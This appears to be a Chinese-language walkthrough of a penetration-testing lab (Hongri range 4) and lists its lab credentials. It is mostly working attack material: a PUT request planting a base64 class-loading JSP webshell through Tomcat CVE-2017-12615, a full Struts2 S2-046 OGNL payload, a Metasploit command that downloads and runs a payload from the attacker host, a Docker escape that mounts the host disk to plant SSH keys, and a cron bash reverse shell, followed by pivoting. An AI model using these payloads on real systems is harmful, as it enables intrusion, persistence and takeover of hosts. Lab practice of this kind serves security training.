紅日靶場4

ubuntu:ubuntu
域成員機器:
douser:Dotest123
DC:administrator:Test2008.
滲透過程概述:
1、信息收集-->Tomcat任意文件寫入漏洞getshell-->struts遠程命令執行漏洞,直接上線msf
端口掃描,tomcat CVE-2017-12615任意文件寫入漏洞getshell。Struts2 S2-046遠程命令執行漏洞,上線msf。
2、docker逃逸-->內網滲透-->橫向移動
確認docker環境,特權模式逃逸。ms17_010 永恒之藍 滲透內網主機。
配置環境:
cd /home/ubuntu/Desktop/vulhub/struts2/s2-045
sudo docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615/
sudo docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613/
sudo docker-compose up -d
查看容器:
sudo docker ps -a
刪除容器:
sudo docker rm -f
刪除所有已經停止的容器:
docker rm $(docker ps -a -q)
1、信息收集
1.1 主機發現
arp-scan -l

1.2 端口掃描
masscan -p 1-65535 --rate=1000 192.168.1.103
nmap -sC -sV -A -O -Pn 192.168.1.103 -p 22,2001,2002,2003
22:ssh
2001:struts2
2002:tomcat
2003:phpmyadmin

2、漏洞挖掘
2.1 Tomcat任意文件寫入漏洞CVE-2017-12615
2.1.1 kali本地的exploit-db庫,查找漏洞
searchsploit tomcat 8.5.19

2.1.2 poc驗證

2.2 struts遠程命令執行漏洞S2-046
2.2.1 Struts2Scan.py 檢測漏洞
Struts2Scan.py -u http://192.168.1.103:2001/
http://192.168.1.103:2001/ 是Struts2,使用Struts2-Scan 存在漏洞: S2-046

2.3 phpmyadmin無密碼進入漏洞,寫文件getshell
3、漏洞利用
3.1 Tomcat任意文件寫入漏洞CVE-2017-12615 getshell
http://192.168.1.103:2002/ 抓包,發送payload成功上傳文件
shell地址:
http://192.168.31.130:2002/shell.jsp
抓包
PUT /shell.jsp/ HTTP/1.1
Host: 192.168.1.103:2002
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 956
shell.jsp
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("cmd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
3.2 struts遠程命令執行漏洞S2-046利用,上線msf
3.2.0 第一種:struts2全版本漏洞檢測工具,上傳shell
第二種方式如下:
3.2.1 點擊submit抓包,注意payload里filename字段是空的


3.2.2 構造payload賦給filename字段,執行whoami
payload
"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}\x00b"


3.2.3 進行00截斷,進入hex將30改為00


3.2.4 發包,執行whoami命令:

3.2.5 利用web_delivery模塊,s2-046上線msf
use exploit/multi/script/web_delivery
set target 7
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.1.102
set lport 12345
run
生成payload:
wget -qO gYbV9E4z --no-check-certificate http://192.168.1.102:8080/N1bYVK; chmod +x gYbV9E4z; ./gYbV9E4z& disown
3.2.6 將payload里的分號;替換成&&,發包上線msf
wget -qO gYbV9E4z --no-check-certificate http://192.168.1.102:8080/N1bYVK&& chmod +x gYbV9E4z&& ./gYbV9E4z& disown
4、提權【docker逃逸提權】
4.1 確定在docker環境里
ls /.dockerenv
ip a
cat /proc/self/cgroup


4.2 確定是特權模式啟動的docker
cat /proc/self/status|grep CapEff
CapEff 對應的掩碼值為:
0000003fffffffff
可以用privilege特權模式逃逸

4.3 mount掛載設備
fdisk -l
mkdir /test ------docker根目錄創建掛載文件夾
mount /dev/sda1 /test
cat /test/etc/passwd

4.4 kali生成公私鑰
ssh-keygen -f rain
chmod 600 rain
蟻劍虛擬終端執行:
cp -avx /test/home/ubuntu/.ssh/id_rsa.pub /test/home/ubuntu/.ssh/authorized_keys ------ avx連權限一起復制過去
echo 'rain.pub內容'>/test/home/ubuntu/.ssh/authorized_keys
kali執行ssh連接:
ssh -i rain ubuntu@192.168.1.103
4.5 ssh私鑰連接ubuntu
ssh -i rain ubuntu@192.168.1.103

4.6 crontab計劃任務,docker逃逸
在計劃任務里寫入一個bash反彈shell的腳本:
echo "/bin/bash -i >& bash -i >& /dev/tcp/192.168.157.129/9999 0>&1">> /test/tmp/shell.sh
chmod +x /test/tmp/shell.sh
cat /test/tmp/shell.sh
寫入crontab計劃任務,表示每隔兩分鐘以root權限執行一次計劃
echo '*/2 * * * * root bash /tmp/shell.sh' > /test/etc/crontab
cat /test/etc/crontab查看是否寫入成功
nc -lvp 9999
獲取ubuntu root權限
5、內網滲透【win7滲透】
5.1 信息收集
5.1.1 添加路由
run post/multi/manage/autoroute
5.1.2 主機發現
第一種:auxiliary/scanner/portscan/tcp

第二種:auxiliary/scanner/discovery/udp_probe

第三種:auxiliary/scanner/discovery/udp_sweep 模塊使用失敗
5.2 設置全局代理
use auxiliary/server/socks_proxy
setg Proxies socks5:127.0.0.1:1080 ------ 設置代理,不設置代理ms17_010很難打通
setg ReverseAllowProxy true
run
5.3 ms17_010 永恒之藍漏洞驗證
search 17_010
【永恒之藍 利用失敗】


浙公網安備 33010602011771號